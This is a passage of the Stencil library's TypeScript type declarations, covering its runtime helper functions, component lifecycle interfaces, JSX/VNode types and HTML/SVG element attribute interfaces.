element for\n * @returns a reference to the element\n */\nexport declare function getElement(ref: any): HTMLStencilElement;\n\n/**\n * Schedules a new render of the given instance or element even if no state changed.\n *\n * Notice `forceUpdate()` is not synchronous and might perform the DOM render in the next frame.\n *\n * @param ref the node/element to force the re-render of\n */\nexport declare function forceUpdate(ref: any): void;\n\n/**\n * getRenderingRef\n * @returns the rendering ref\n */\nexport declare function getRenderingRef(): any;\n\nexport interface HTMLStencilElement extends HTMLElement {\n  componentOnReady(): Promise<this>;\n}\n\n/**\n * Schedules a DOM-write task. The provided callback will be executed\n * in the best moment to perform DOM mutation without causing layout thrashing.\n *\n * For further information: https://developers.google.com/web/fundamentals/performance/rendering/avoid-large-complex-layouts-and-layout-thrashing\n *\n * @param task the DOM-write to schedule\n */\nexport declare function writeTask(task: RafCallback): void;\n\n/**\n * Schedules a DOM-read task. The provided callback will be executed\n * in the best moment to perform DOM reads without causing layout thrashing.\n *\n * For further information: https://developers.google.com/web/fundamentals/performance/rendering/avoid-large-complex-layouts-and-layout-thrashing\n *\n * @param task the DOM-read to schedule\n */\nexport declare function readTask(task: RafCallback): void;\n\n/**\n * `setErrorHandler()` can be used to inject a custom global error handler.\n * Unhandled exception raised while rendering, during event handling, or lifecycles will trigger the custom event handler.\n */\nexport declare const setErrorHandler: (handler: ErrorHandler) => void;\n\nexport type TagTransformer = (tag: string) => string;\n\n/**\n * Sets a tag transformer to be used when rendering your custom elements.\n * ```ts\n * setTagTransformer((tag) => {\n *  if (tag.startsWith('my-')) return `new-${tag}`\n *  return tag;\n * });\n * ```\n * Will mean all your components that start with `my-` are defined instead with `new-my-` prefix.\n *\n * @param transformer the transformer function to use which must return a string.\n */\nexport declare function setTagTransformer(transformer: TagTransformer): void;\n\n/**\n * Transforms a tag name using a transformer set via `setTagTransformer`\n *\n * @param tag - the tag to transform e.g. `my-tag`\n * @returns the transformed tag e.g. `new-my-tag`\n */\nexport declare function transformTag(tag: string): string;\n\n/**\n * @deprecated - Use `MixedInCtor` instead:\n * ```ts\n * import { MixedInCtor } from '@stencil/core';\n *\n * const AFactoryFn = <B extends MixedInCtor>(Base: B) => {class A extends Base { propA = A }; return A;}\n * ```\n */\nexport type MixinFactory = (base: MixedInCtor) => MixedInCtor;\n\n// TODO ^ do not remove. Just do not export when deprecated.\n\nexport type MixedInCtor<T = {}> = new (...args: any[]) => T;\n\n/**\n * Compose multiple mixin classes into a single constructor.\n * The resulting class has the combined instance types of all mixed-in classes.\n *\n * Example:\n * ```ts\n * import { Mixin, MixedInCtor } from '@stencil/core';\n *\n * const AWrap = <B extends MixedInCtor>(Base: B) => {class A extends Base { propA = A }; return A;}\n * const BWrap = <B extends MixedInCtor>(Base: B) => {class B extends Base { propB = B }; return B;}\n * const CWrap = <B extends MixedInCtor>(Base: B) => {class C extends Base { propC = C }; return C;}\n *\n * class X extends Mixin(AWrap, BWrap, CWrap) {\n *   render() { return <div>{this.propA} {this.propB} {this.propC}</div>; }\n * }\n * ```\n *\n * @param mixinFactories mixin factory functions that return a class which extends from the provided class.\n * @returns a class that is composed from extending each of the provided classes in the order they were provided.\n */\nexport declare function Mixin<const TMixins extends readonly MixinFactory[]>(\n  ...mixinFactories: TMixins\n): abstract new (...args: any[]) => UnionToIntersection<MixinInstance<TMixins[number]>>;\n\n/**\n * This file gets copied to all distributions of stencil component collections.\n * - no imports\n */\n\nexport interface ComponentWillLoad {\n  /**\n   * The component is about to load and it has not\n   * rendered yet.\n   *\n   * This is the best place to make any data updates\n   * before the first render.\n   *\n   * componentWillLoad will only be called once.\n   */\n  componentWillLoad(): Promise<void> | void;\n}\n\nexport interface ComponentDidLoad {\n  /**\n   * The component has loaded and has already rendered.\n   *\n   * Updating data in this method will cause the\n   * component to re-render.\n   *\n   * componentDidLoad will only be called once.\n   */\n  componentDidLoad(): void;\n}\n\nexport interface ComponentWillUpdate {\n  /**\n   * The component is about to update and re-render.\n   *\n   * Called multiple times throughout the life of\n   * the component as it updates.\n   *\n   * componentWillUpdate is not called on the first render.\n   */\n  componentWillUpdate(): Promise<void> | void;\n}\n\nexport interface ComponentDidUpdate {\n  /**\n   * The component has just re-rendered.\n   *\n   * Called multiple times throughout the life of\n   * the component as it updates.\n   *\n   * componentWillUpdate is not called on the\n   * first render.\n   */\n  componentDidUpdate(): void;\n}\n\nexport interface ComponentInterface {\n  connectedCallback?(): void;\n  disconnectedCallback?(): void;\n\n  componentWillRender?(): Promise<void> | void;\n  componentDidRender?(): void;\n\n  /**\n   * The component is about to load and it has not\n   * rendered yet.\n   *\n   * This is the best place to make any data updates\n   * before the first render.\n   *\n   * componentWillLoad will only be called once.\n   */\n  componentWillLoad?(): Promise<void> | void;\n\n  /**\n   * The component has loaded and has already rendered.\n   *\n   * Updating data in this method will cause the\n   * component to re-render.\n   *\n   * componentDidLoad will only be called once.\n   */\n  componentDidLoad?(): void;\n\n  /**\n   * A `@Prop` or `@State` property changed and a rerender is about to be requested.\n   *\n   * Called multiple times throughout the life of\n   * the component as its properties change.\n   *\n   * componentShouldUpdate is not called on the first render.\n   */\n  componentShouldUpdate?(newVal: any, oldVal: any, propName: string): boolean | void;\n\n  /**\n   * The component is about to update and re-render.\n   *\n   * Called multiple times throughout the life of\n   * the component as it updates.\n   *\n   * componentWillUpdate is not called on the first render.\n   */\n  componentWillUpdate?(): Promise<void> | void;\n\n  /**\n   * The component has just re-rendered.\n   *\n   * Called multiple times throughout the life of\n   * the component as it updates.\n   *\n   * componentWillUpdate is not called on the\n   * first render.\n   */\n  componentDidUpdate?(): void;\n\n  render?(): any;\n\n  [memberName: string]: any;\n}\n\n// General types important to applications using stencil built components\nexport interface EventEmitter<T = any> {\n  emit: (data?: T) => CustomEvent<T>;\n}\n\nexport interface RafCallback {\n  (timeStamp: number): void;\n}\n\nexport interface QueueApi {\n  tick: (cb: RafCallback) => void;\n  read: (cb: RafCallback) => void;\n  write: (cb: RafCallback) => void;\n  clear?: () => void;\n  flush?: (cb?: () => void) => void;\n}\n\n/**\n * Host\n */\nexport interface HostAttributes {\n  class?: string | { [className: string]: boolean };\n  style?: { [key: string]: string | undefined };\n  ref?: (el: HTMLElement | null) => void;\n\n  [prop: string]: any;\n}\n\n/**\n * Utilities for working with functional Stencil components. An object\n * conforming to this interface is passed by the Stencil runtime as the third\n * argument to a functional component, allowing component authors to work with\n * features like children.\n *\n * The children of a functional component will be passed as the second\n * argument, so a functional component which uses these utils to transform its\n * children might look like the following:\n *\n * ```ts\n * export const AddClass: FunctionalComponent = (_, children, utils) => (\n *  utils.map(children, child => ({\n *    ...child,\n *    vattrs: {\n *      ...child.vattrs,\n *      class: `${child.vattrs.class} add-class`\n *    }\n *  }))\n * );\n * ```\n *\n * For more see the Stencil documentation, here:\n * https://stenciljs.com/docs/functional-components\n */\nexport interface FunctionalUtilities {\n  /**\n   * Utility for reading the children of a functional component at runtime.\n   * Since the Stencil runtime uses a different interface for children it is\n   * not recommended to read the children directly, and is preferable to use\n   * this utility to, for instance, perform a side effect for each child.\n   */\n  forEach: (children: VNode[], cb: (vnode: ChildNode, index: number, array: ChildNode[]) => void) => void;\n  /**\n   * Utility for transforming the children of a functional component. Given an\n   * array of children and a callback this will return a list of the results of\n   * passing each child to the supplied callback.\n   */\n  map: (children: VNode[], cb: (vnode: ChildNode, index: number, array: ChildNode[]) => ChildNode) => VNode[];\n}\n\nexport interface FunctionalComponent<T = {}> {\n  (props: T, children: VNode[], utils: FunctionalUtilities): VNode | VNode[] | null;\n}\n\n/**\n * A Child VDOM node\n *\n * This has most of the same properties as {@link VNode} but friendlier names\n * (i.e. `vtag` instead of `$tag$`, `vchildren` instead of `$children$`) in\n * order to provide a friendlier public interface for users of the\n * {@link FunctionalUtilities}).\n */\nexport interface ChildNode {\n  vtag?: string | number | Function;\n  vkey?: string | number;\n  vtext?: string;\n  vchildren?: VNode[];\n  vattrs?: any;\n  vname?: string;\n}\n\n/**\n * Host is a functional component can be used at the root of the render function\n * to set attributes and event listeners to the host element itself.\n *\n * For further information: https://stenciljs.com/docs/host-element\n */\nexport declare const Host: FunctionalComponent<HostAttributes>;\n\n/**\n * Fragment\n */\nexport declare const Fragment: FunctionalComponent<{}>;\n\n/* eslint-disable jsdoc/require-param, jsdoc/require-returns -- we don't want to JSDoc these overloads at this time */\n/**\n * The \"h\" namespace is used to import JSX types for elements and attributes.\n * It is imported in order to avoid conflicting global JSX issues.\n */\nexport declare namespace h {\n  export function h(sel: any): VNode;\n  export function h(sel: Node, data: VNodeData | null): VNode;\n  export function h(sel: any, data: VNodeData | null): VNode;\n  export function h(sel: any, text: string): VNode;\n  export function h(sel: any, children: Array<VNode | undefined | null>): VNode;\n  export function h(sel: any, data: VNodeData | null, text: string): VNode;\n  export function h(sel: any, data: VNodeData | null, children: Array<VNode | undefined | null>): VNode;\n  export function h(sel: any, data: VNodeData | null, children: VNode): VNode;\n  export function h(sel: any, data: VNodeData | null, ...children: (VNode | string | number)[]): VNode;\n\n  export namespace JSX {\n    interface IntrinsicElements extends LocalJSX.IntrinsicElements, JSXBase.IntrinsicElements {\n      [tagName: string]: any;\n    }\n  }\n}\n\n/* eslint-enable jsdoc/require-param, jsdoc/require-returns -- we don't want to JSDoc these overloads at this time */\n\nexport declare function h(sel: any): VNode;\nexport declare function h(sel: Node, data: VNodeData | null): VNode;\nexport declare function h(sel: any, data: VNodeData | null): VNode;\nexport declare function h(sel: any, text: string): VNode;\nexport declare function h(sel: any, children: Array<VNode | undefined | null>): VNode;\nexport declare function h(sel: any, data: VNodeData | null, text: string): VNode;\nexport declare function h(sel: any, data: VNodeData | null, children: Array<VNode | undefined | null>): VNode;\nexport declare function h(sel: any, data: VNodeData | null, children: VNode): VNode;\nexport declare function h(sel: any, data: VNodeData | null, ...children: (VNode | string | number)[]): VNode;\n\n/**\n * Automatic JSX runtime functions for TypeScript's react-jsx mode.\n * These functions are called automatically by TypeScript when using \"jsx\": \"react-jsx\".\n * @param type type of node\n * @param props properties of node\n * @param key optional key for the node\n * @returns a jsx vnode\n */\nexport declare function jsx(type: any, props: any, key?: string): VNode;\n\n/**\n * Automatic JSX runtime functions for TypeScript's react-jsxmode with multiple children.\n * @param type type of node\n * @param props properties of node\n * @param key optional key for the node\n * @returns a jsx vnode\n */\nexport declare function jsxs(type: any, props: any, key?: string): VNode;\n\n/**\n * Automatic JSX runtime functions for TypeScript's react-jsxdev mode.\n * These functions are called automatically by TypeScript when using \"jsx\": \"react-jsxdev\".\n * @param type type of node\n * @param props properties of node\n * @param key optional key for the node\n * @param isStaticChildren indicates if the children are static\n * @param source source information\n * @param self reference to the component instance\n * @returns a jsx vnode\n */\nexport declare function jsxDEV(\n  type: any,\n  props: any,\n  key?: string | number,\n  isStaticChildren?: boolean,\n  source?: any,\n  self?: any,\n): VNode;\n\n/**\n * A virtual DOM node\n */\nexport interface VNode {\n  $flags$: number;\n  $tag$: string | number | Function;\n  $elm$: any;\n  $text$: string;\n  $children$: VNode[];\n  $attrs$?: any;\n  $name$?: string;\n  $key$?: string | number;\n}\n\nexport interface VNodeData {\n  class?: { [className: string]: boolean };\n  style?: any;\n  [attrName: string]: any;\n}\n\ndeclare namespace LocalJSX {\n  export interface Element {}\n  export interface IntrinsicElements {}\n}\n\nexport { LocalJSX as JSX };\n\nexport namespace JSXBase {\n  export interface IntrinsicElements {\n    // Stencil elements\n    slot: JSXBase.SlotAttributes<HTMLSlotElement>;\n\n    // HTML\n    a: JSXBase.AnchorHTMLAttributes<HTMLAnchorElement>;\n    abbr: JSXBase.HTMLAttributes;\n    address: JSXBase.HTMLAttributes;\n    area: JSXBase.AreaHTMLAttributes<HTMLAreaElement>;\n    article: JSXBase.HTMLAttributes;\n    aside: JSXBase.HTMLAttributes;\n    audio: JSXBase.AudioHTMLAttributes<HTMLAudioElement>;\n    b: JSXBase.HTMLAttributes;\n    base: JSXBase.BaseHTMLAttributes<HTMLBaseElement>;\n    bdi: JSXBase.HTMLAttributes;\n    bdo: JSXBase.HTMLAttributes;\n    big: JSXBase.HTMLAttributes;\n    blockquote: JSXBase.BlockquoteHTMLAttributes<HTMLQuoteElement>;\n    body: JSXBase.HTMLAttributes<HTMLBodyElement>;\n    br: JSXBase.HTMLAttributes<HTMLBRElement>;\n    button: JSXBase.ButtonHTMLAttributes<HTMLButtonElement>;\n    canvas: JSXBase.CanvasHTMLAttributes<HTMLCanvasElement>;\n    caption: JSXBase.HTMLAttributes<HTMLTableCaptionElement>;\n    cite: JSXBase.HTMLAttributes;\n    code: JSXBase.HTMLAttributes;\n    col: JSXBase.ColHTMLAttributes<HTMLTableColElement>;\n    colgroup: JSXBase.ColgroupHTMLAttributes<HTMLTableColElement>;\n    data: JSXBase.HTMLAttributes<HTMLDataElement>;\n    datalist: JSXBase.HTMLAttributes<HTMLDataListElement>;\n    dd: JSXBase.HTMLAttributes;\n    del: JSXBase.DelHTMLAttributes<HTMLModElement>;\n    details: JSXBase.DetailsHTMLAttributes<HTMLElement>;\n    dfn: JSXBase.HTMLAttributes;\n    dialog: JSXBase.DialogHTMLAttributes<HTMLDialogElement>;\n    div: JSXBase.HTMLAttributes<HTMLDivElement>;\n    dl: JSXBase.HTMLAttributes<HTMLDListElement>;\n    dt: JSXBase.HTMLAttributes;\n    em: JSXBase.HTMLAttributes;\n    embed: JSXBase.EmbedHTMLAttributes<HTMLEmbedElement>;\n    fieldset: JSXBase.FieldsetHTMLAttributes<HTMLFieldSetElement>;\n    figcaption: JSXBase.HTMLAttributes;\n    figure: JSXBase.HTMLAttributes;\n    footer: JSXBase.HTMLAttributes;\n    form: JSXBase.FormHTMLAttributes<HTMLFormElement>;\n    h1: JSXBase.HTMLAttributes<HTMLHeadingElement>;\n    h2: JSXBase.HTMLAttributes<HTMLHeadingElement>;\n    h3: JSXBase.HTMLAttributes<HTMLHeadingElement>;\n    h4: JSXBase.HTMLAttributes<HTMLHeadingElement>;\n    h5: JSXBase.HTMLAttributes<HTMLHeadingElement>;\n    h6: JSXBase.HTMLAttributes<HTMLHeadingElement>;\n    head: JSXBase.HTMLAttributes<HTMLHeadElement>;\n    header: JSXBase.HTMLAttributes;\n    hgroup: JSXBase.HTMLAttributes;\n    hr: JSXBase.HTMLAttributes<HTMLHRElement>;\n    html: JSXBase.HTMLAttributes<HTMLHtmlElement>;\n    i: JSXBase.HTMLAttributes;\n    iframe: JSXBase.IframeHTMLAttributes<HTMLIFrameElement>;\n    img: JSXBase.ImgHTMLAttributes<HTMLImageElement>;\n    input: JSXBase.InputHTMLAttributes<HTMLInputElement>;\n    ins: JSXBase.InsHTMLAttributes<HTMLModElement>;\n    kbd: JSXBase.HTMLAttributes;\n    keygen: JSXBase.KeygenHTMLAttributes<HTMLElement>;\n    label: JSXBase.LabelHTMLAttributes<HTMLLabelElement>;\n    legend: JSXBase.HTMLAttributes<HTMLLegendElement>;\n    li: JSXBase.LiHTMLAttributes<HTMLLIElement>;\n    link: JSXBase.LinkHTMLAttributes<HTMLLinkElement>;\n    main: JSXBase.HTMLAttributes;\n    map: JSXBase.MapHTMLAttributes<HTMLMapElement>;\n    mark: JSXBase.HTMLAttributes;\n    menu: JSXBase.MenuHTMLAttributes<HTMLMenuElement>;\n    menuitem: JSXBase.HTMLAttributes;\n    meta: JSXBase.MetaHTMLAttributes<HTMLMetaElement>;\n    meter: JSXBase.MeterHTMLAttributes<HTMLMeterElement>;\n    nav: JSXBase.HTMLAttributes;\n    noscript: JSXBase.HTMLAttributes;\n    object: JSXBase.ObjectHTMLAttributes<HTMLObjectElement>;\n    ol: JSXBase.OlHTMLAttributes<HTMLOListElement>;\n    optgroup: JSXBase.OptgroupHTMLAttributes<HTMLOptGroupElement>;\n    option: JSXBase.OptionHTMLAttributes<HTMLOptionElement>;\n    output: JSXBase.OutputHTMLAttributes<HTMLOutputElement>;\n    p: JSXBase.HTMLAttributes<HTMLParagraphElement>;\n    param: JSXBase.ParamHTMLAttributes<HTMLParamElement>;\n    picture: JSXBase.HTMLAttributes<HTMLPictureElement>;\n    pre: JSXBase.HTMLAttributes<HTMLPreElement>;\n    progress: JSXBase.ProgressHTMLAttributes<HTMLProgressElement>;\n    q: JSXBase.QuoteHTMLAttributes<HTMLQuoteElement>;\n    rp: JSXBase.HTMLAttributes;\n    rt: JSXBase.HTMLAttributes;\n    ruby: JSXBase.HTMLAttributes;\n    s: JSXBase.HTMLAttributes;\n    samp: JSXBase.HTMLAttributes;\n    script: JSXBase.ScriptHTMLAttributes<HTMLScriptElement>;\n    section: JSXBase.HTMLAttributes;\n    select: JSXBase.SelectHTMLAttributes<HTMLSelectElement>;\n    small: JSXBase.HTMLAttributes;\n    source: JSXBase.SourceHTMLAttributes<HTMLSourceElement>;\n    span: JSXBase.HTMLAttributes<HTMLSpanElement>;\n    strong: JSXBase.HTMLAttributes;\n    style: JSXBase.StyleHTMLAttributes<HTMLStyleElement>;\n    sub: JSXBase.HTMLAttributes;\n    summary: JSXBase.HTMLAttributes;\n    sup: JSXBase.HTMLAttributes;\n    table: JSXBase.TableHTMLAttributes<HTMLTableElement>;\n    tbody: JSXBase.HTMLAttributes<HTMLTableSectionElement>;\n    td: JSXBase.TdHTMLAttributes<HTMLTableDataCellElement>;\n    textarea: JSXBase.TextareaHTMLAttributes<HTMLTextAreaElement>;\n    tfoot: JSXBase.HTMLAttributes<HTMLTableSectionElement>;\n    th: JSXBase.ThHTMLAttributes<HTMLTableHeaderCellElement>;\n    thead: JSXBase.HTMLAttributes<HTMLTableSectionElement>;\n    time: JSXBase.TimeHTMLAttributes<HTMLTimeElement>;\n    title: JSXBase.HTMLAttributes<HTMLTitleElement>;\n    tr: JSXBase.HTMLAttributes<HTMLTableRowElement>;\n    track: JSXBase.TrackHTMLAttributes<HTMLTrackElement>;\n    u: JSXBase.HTMLAttributes;\n    ul: JSXBase.HTMLAttributes<HTMLUListElement>;\n    var: JSXBase.HTMLAttributes;\n    video: JSXBase.VideoHTMLAttributes<HTMLVideoElement>;\n    wbr: JSXBase.HTMLAttributes;\n\n    // SVG\n    animate: JSXBase.SVGAttributes;\n    circle: JSXBase.SVGAttributes;\n    clipPath: JSXBase.SVGAttributes;\n    defs: JSXBase.SVGAttributes;\n    desc: JSXBase.SVGAttributes;\n    ellipse: JSXBase.SVGAttributes;\n    feBlend: JSXBase.SVGAttributes;\n    feColorMatrix: JSXBase.SVGAttributes;\n    feComponentTransfer: JSXBase.SVGAttributes;\n    feComposite: JSXBase.SVGAttributes;\n    feConvolveMatrix: JSXBase.SVGAttributes;\n    feDiffuseLighting: JSXBase.SVGAttributes;\n    feDisplacementMap: JSXBase.SVGAttributes;\n    feDistantLight: JSXBase.SVGAttributes;\n    feDropShadow: JSXBase.SVGAttributes;\n    feFlood: JSXBase.SVGAttributes;\n    feFuncA: JSXBase.SVGAttributes;\n    feFuncB: JSXBase.SVGAttributes;\n    feFuncG: JSXBase.SVGAttributes;\n    feFuncR: JSXBase.SVGAttributes;\n    feGaussianBlur: JSXBase.SVGAttributes;\n    feImage: JSXBase.SVGAttributes;\n    feMerge: JSXBase.SVGAttributes;\n    feMergeNode: JSXBase.SVGAttributes;\n    feMorphology: JSXBase.SVGAttributes;\n    feOffset: JSXBase.SVGAttributes;\n    fePointLight: JSXBase.SVGAttributes;\n    feSpecularLighting: JSXBase.SVGAttributes;\n    feSpotLight: JSXBase.SVGAttributes;\n    feTile: JSXBase.SVGAttributes;\n    feTurbulence: JSXBase.SVGAttributes;\n    filter: JSXBase.SVGAttributes;\n    foreignObject: JSXBase.SVGAttributes;\n    g: JSXBase.SVGAttributes;\n    image: JSXBase.SVGAttributes;\n    line: JSXBase.SVGAttributes;\n    linearGradient: JSXBase.SVGAttributes;\n    marker: JSXBase.SVGAttributes;\n    mask: JSXBase.SVGAttributes;\n    metadata: JSXBase.SVGAttributes;\n    path: JSXBase.SVGAttributes;\n    pattern: JSXBase.SVGAttributes;\n    polygon: JSXBase.SVGAttributes;\n    polyline: JSXBase.SVGAttributes;\n    radialGradient: JSXBase.SVGAttributes;\n    rect: JSXBase.SVGAttributes;\n    stop: JSXBase.SVGAttributes;\n    svg: JSXBase.SVGAttributes;\n    switch: JSXBase.SVGAttributes;\n    symbol: JSXBase.SVGAttributes;\n    text: JSXBase.SVGAttributes;\n    textPath: JSXBase.SVGAttributes;\n    tspan: JSXBase.SVGAttributes;\n    use: JSXBase.SVGAttributes;\n    view: JSXBase.SVGAttributes;\n  }\n\n  export interface SlotAttributes<T = HTMLSlotElement> extends JSXAttributes<T> {\n    name?: string;\n    slot?: string;\n    onSlotchange?: (event: Event) => void;\n  }\n\n  export interface AnchorHTMLAttributes<T> extends HTMLAttributes<T> {\n    download?: any;\n    href?: string;\n    hrefLang?: string;\n    hreflang?: string;\n    media?: string;\n    ping?: string;\n    rel?: string;\n    target?: string;\n    referrerPolicy?: ReferrerPolicy;\n  }\n\n  export interface AudioHTMLAttributes<T> extends MediaHTMLAttributes<T> {}\n\n  export interface AreaHTMLAttributes<T> extends HTMLAttributes<T> {\n    alt?: string;\n    coords?: string;\n    download?: any;\n    href?: string;\n    hrefLang?: string;\n    hreflang?: string;\n    media?: string;\n    rel?: string;\n    shape?: string;\n    target?: string;\n  }\n\n  export interface BaseHTMLAttributes<T> extends HTMLAttributes<T> {\n    href?: string;\n    target?: string;\n  }\n\n  export interface BlockquoteHTMLAttributes<T> extends HTMLAttributes<T> {\n    cite?: string;\n  }\n\n  export interface ButtonHTMLAttributes<T> extends HTMLAttributes<T> {\n    disabled?: boolean;\n    form?: string;\n    formAction?: string;\n    formaction?: string;\n    formEncType?: string;\n    formenctype?: string;\n    formMethod?: string;\n    formmethod?: string;\n    formNoValidate?: boolean;\n    formnovalidate?: boolean;\n    formTarget?: string;\n    formtarget?: string;\n    name?: string;\n    type?: string;\n    value?: string | string[] | number;\n\n    // popover\n    popoverTargetAction?: string;\n    popoverTargetElement?: Element | null;\n    popoverTarget?: string;\n\n    // invoker commands\n    command?: string;\n    commandFor?: string;\n    commandfor?: string;\n  }\n\n  export interface CanvasHTMLAttributes<T> extends HTMLAttributes<T> {\n    height?: number | string;\n    width?: number | string;\n  }\n\n  export interface ColHTMLAttributes<T> extends HTMLAttributes<T> {\n    span?: number;\n  }\n\n  export interface ColgroupHTMLAttributes<T> extends HTMLAttributes<T> {\n    span?: number;\n  }\n\n  export interface DetailsHTMLAttributes<T> extends HTMLAttributes<T> {\n    open?: boolean;\n    name?: string;\n    onToggle?: (event: ToggleEvent) => void;\n  }\n\n  export interface DelHTMLAttributes<T> extends HTMLAttributes<T> {\n    cite?: string;\n    dateTime?: string;\n    datetime?: string;\n  }\n\n  export interface DialogHTMLAttributes<T> extends HTMLAttributes<T> {\n    onCancel?: (event: Event) => void;\n    onClose?: (event: Event) => void;\n    open?: boolean;\n    returnValue?: string;\n  }\n\n  export interface EmbedHTMLAttributes<T> extends HTMLAttributes<T> {\n    height?: number | string;\n    src?: string;\n    type?: string;\n    width?: number | string;\n  }\n\n  export interface FieldsetHTMLAttributes<T> extends HTMLAttributes<T> {\n    disabled?: boolean;\n    form?: string;\n    name?: string;\n  }\n\n  export interface FormHTMLAttributes<T> extends HTMLAttributes<T> {\n    acceptCharset?: string;\n    acceptcharset?: string;\n    action?: string;\n    autoComplete?: string;\n    autocomplete?: string;\n    encType?: string;\n    enctype?: string;\n    method?: string;\n    name?: string;\n    noValidate?: boolean;\n    novalidate?: boolean | string;\n    target?: string;\n  }\n\n  export interface HtmlHTMLAttributes<T> extends HTMLAttributes<T> {\n    manifest?: string;\n  }\n\n  export interface IframeHTMLAttributes<T> extends HTMLAttributes<T> {\n    allow?: string;\n    allowFullScreen?: boolean;\n    allowfullScreen?: string | boolean;\n    allowTransparency?: boolean;\n    allowtransparency?: string | boolean;\n    frameBorder?: number | string;\n    frameborder?: number | string;\n    importance?: 'low' | 'auto' | 'high';\n    height?: number | string;\n    loading?: 'lazy' | 'auto' | 'eager';\n    marginHeight?: number;\n    marginheight?: string | number;\n    marginWidth?: number;\n    marginwidth?: string | number;\n    name?: string;\n    referrerPolicy?: ReferrerPolicy;\n    sandbox?: string;\n    scrolling?: string;\n    seamless?: boolean;\n    src?: string;\n    srcDoc?: string;\n    srcdoc?: string;\n    width?: number | string;\n  }\n\n  export interface ImgHTMLAttributes<T> extends HTMLAttributes<T> {\n    alt?: string;\n    crossOrigin?: string;\n    crossorigin?: string;\n    decoding?: 'async' | 'auto' | 'sync';\n    importance?: 'low' | 'auto' | 'high';\n    height?: number | string;\n    loading?: 'lazy' | 'auto' | 'eager';\n    sizes?: string;\n    src?: string;\n    srcSet?: string;\n    srcset?: string;\n    useMap?: string;\n    usemap?: string;\n    width?: number | string;\n  }\n\n  export interface InsHTMLAttributes<T> extends HTMLAttributes<T> {\n    cite?: string;\n    dateTime?: string;\n    datetime?: string;\n  }\n\n  export interface InputHTMLAttributes<T> extends HTMLAttributes<T> {\n    accept?: string;\n    allowdirs?: boolean;\n    alt?: string;\n    autoCapitalize?: string;\n    autocapitalize?: string;\n    autoComplete?: string;\n    autocomplete?: string;\n    capture?: string; // https://www.w3.org/TR/html-media-capture/#the-capture-attribute\n    checked?: boolean;\n    crossOrigin?: string;\n    crossorigin?: string;\n    defaultChecked?: boolean;\n    defaultValue?: string;\n    dirName?: string;\n    disabled?: boolean;\n    files?: any;\n    form?: string;\n    formAction?: string;\n    formaction?: string;\n    formEncType?: string;\n    formenctype?: string;\n    formMethod?: string;\n    formmethod?: string;\n    formNoValidate?: boolean;\n    formnovalidate?: boolean;\n    formTarget?: string;\n    formtarget?: string;\n    height?: number | string;\n    indeterminate?: boolean;\n    list?: string;\n    max?: number | string;\n    maxLength?: number;\n    maxlength?: number | string;\n    min?: number | string;\n    minLength?: number;\n    minlength?: number | string;\n    multiple?: boolean;\n    name?: string;\n    onSelect?: (event: Event) => void;\n    onselect?: (event: Event) => void;\n    pattern?: string;\n    placeholder?: string;\n    readOnly?: boolean;\n    readonly?: boolean | string;\n    required?: boolean;\n    selectionStart?: number | string;\n    selectionEnd?: number | string;\n    selectionDirection?: string;\n    size?: number;\n    src?: string;\n    step?: number | string;\n    type?: string;\n    value?: string | string[] | number;\n    valueAsDate?: any;\n    valueAsNumber?: any;\n    webkitdirectory?: boolean;\n    webkitEntries?: any;\n    width?: number | string;\n\n    // popover\n    popoverTargetAction?: string;\n    popoverTargetElement?: Element | null;\n    popoverTarget?: string;\n  }\n\n  export interface KeygenHTMLAttributes<T> extends HTMLAttributes<T> {\n    challenge?: string;\n    disabled?: boolean;\n    form?: string;\n    keyType?: string;\n    keytype?: string;\n    keyParams?: string;\n    keyparams?: string;\n    name?: string;\n  }\n\n  export interface LabelHTMLAttributes<T> extends HTMLAttributes<T> {\n    form?: string;\n    htmlFor?: string;\n  }\n\n  export interface LiHTMLAttributes<T> extends HTMLAttributes<T> {\n    value?: string | string[] | number;\n  }\n\n  export interface LinkHTMLAttributes<T> extends HTMLAttributes<T> {\n    as?: string;\n    href?: string;\n    hrefLang?: string;\n    hreflang?: string;\n    importance?: 'low' | 'auto' | 'high';\n    integrity?: string;\n    media?: string;\n    rel?: string;\n    sizes?: string;\n    type?: string;\n  }\n\n  export interface MapHTMLAttributes<T> extends HTMLAttributes<T> {\n    name?: string;\n  }\n\n  export interface MenuHTMLAttributes<T> extends HTMLAttributes<T> {\n    type?: string;\n  }\n\n  export interface MediaHTMLAttributes<T> extends HTMLAttributes<T> {\n    autoPlay?: boolean;\n    autoplay?: boolean | string;\n    controls?: boolean;\n    controlslist?: 'nodownload' | 'nofullscreen' | 'noremoteplayback';\n    controlsList?: 'nodownload' | 'nofullscreen' | 'noremoteplayback';\n    crossOrigin?: string;\n    crossorigin?: string;\n    loop?: boolean;\n    mediaGroup?: string;\n    mediagroup?: string;\n    muted?: boolean;\n    preload?: string;\n    src?: string;\n\n    // https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Media_events\n    onAbort?: (event: Event) => void;\n    onCanPlay?: (event: Event) => void;\n    onCanPlayThrough?: (event: Event) => void;\n    onDurationChange?: (event: Event) => void;\n    onEmptied?: (event: Event) => void;\n    onEnded?: (event: Event) => void;\n    onError?: (event: Event) => void;\n    onInterruptBegin?: (event: Event) => void;\n    onInterruptEnd?: (event: Event) => void;\n    onLoadedData?: (event: Event) => void;\n    onLoadedMetaData?: (event: Event) => void;\n    onLoadStart?: (event: Event) => void;\n    onMozAudioAvailable?: (event: Event) => void;\n    onPause?: (event: Event) => void;\n    onPlay?: (event: Event) => void;\n    onPlaying?: (event: Event) => void;\n    onProgress?: (event: Event) => void;\n    onRateChange?: (event: Event) => void;\n    onSeeked?: (event: Event) => void;\n    onSeeking?: (event: Event) => void;\n    onStalled?: (event: Event) => void;\n    onSuspend?: (event: Event) => void;\n    onTimeUpdate?: (event: Event) => void;\n    onVolumeChange?: (event: Event) => void;\n    onWaiting?: (event: Event) => void;\n  }\n\n  export interface MetaHTMLAttributes<T> extends HTMLAttributes<T> {\n    charSet?: string;\n    charset?: string;\n    content?: string;\n    httpEquiv?: string;\n    httpequiv?: string;\n    name?: string;\n  }\n\n  export interface MeterHTMLAttributes<T> extends HTMLAttributes<T> {\n    form?: string;\n    high?: number;\n    low?: number;\n    max?: number | string;\n    min?: number | string;\n    optimum?: number;\n    value?: string | string[] | number;\n  }\n\n  export interface QuoteHTMLAttributes<T> extends HTMLAttributes<T> {\n    cite?: string;\n  }\n\n  export interface ObjectHTMLAttributes<T> extends HTMLAttributes<T> {\n    classID?: string;\n    classid?: string;\n    data?: string;\n    form?: string;\n    height?: number | string;\n    name?: string;\n    type?: string;\n    useMap?: string;\n    usemap?: string;\n    width?: number | string;\n    wmode?: string;\n  }\n\n  export interface OlHTMLAttributes<T> extends 